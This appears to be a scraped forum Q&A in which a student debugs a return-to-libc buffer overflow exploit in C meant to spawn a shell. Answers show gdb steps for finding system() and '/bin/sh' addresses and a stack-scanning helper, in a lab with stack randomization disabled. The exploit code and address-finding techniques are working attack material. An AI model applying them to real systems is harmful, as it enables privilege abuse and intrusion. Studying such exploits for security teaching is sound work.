I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h> int main(int argc, char*argv[]){ char buffer[7]; char buf[42]; int i = 0; while(i < 28) { buf[i] = 'a'; i = i + 1; } *(int *)&buf[28] = 0x4c4ab0; *(int *)&buf[32] = 0x4ba520; *(int *)&buf[36] = 0xbfffff13; strcpy(buffer, buf); return 0; }
Using gdb, I've been able to determine the following:
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B���: command not found Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
A "return-to-libc" attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process executable memory, bypassing the no-execute bit feature (if present) and ridding the ...
Return-to-libc is an exploit that countered Data Execution Prevention (DEP), which in turn was added as a memory protection scheme in operating systems as a counter to shellcode injection.
You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:
> (gdb) break main > > (gdb) run > > (gdb) print &system > $1 = (<text variable, no debug info>*) 0xf7e68250 <system> > > (gdb) find &system,+9999999,"/bin/sh" > 0xf7f86c4c > warning: Unable to access target memory at 0xf7fd0fd4, halting search. > 1 pattern found.
Good luck.
The problem in your program is the pointer you suppose to point to the /bin/sh
string is actually not pointing to /bin/sh
.
You get this address using gdb
. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb
than without gdb
. gdb
is putting some debug information into the stack and this will shift your shell variables.
To convince yourself here is a quick and dirty program to find a /bin/sh
string in the stack:
#include <stdio.h> #include <string.h> int main(void) { char s[] = "/bin/sh"; char *p = (char *) 0xbffff000; while (memcmp(++p, s, sizeof s)); printf("%s\n", p); printf("%p\n", p); }
First double check that stack randomization is disabled:
ouah@maou:~$ sysctl kernel.randomize_va_space kernel.randomize_va_space = 0 ouah@maou:~$
Ok, no stack randomization.
Let's compile the program and run it outside gdb
:
ouah@maou:~$ gcc -std=c99 tst.c ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$
Now let's run it under gdb
:
ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$ gdb a.out -q Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/ouah/a.out /bin/sh 0xbffff6e4 Program exited normally. (gdb) quit ouah@maou:~$
As you can see the address of the /bin/sh
string is different when the program is run inside or outside gdb
.
Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh
string directly from the libc (as you can guess there are a few occurrences).
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With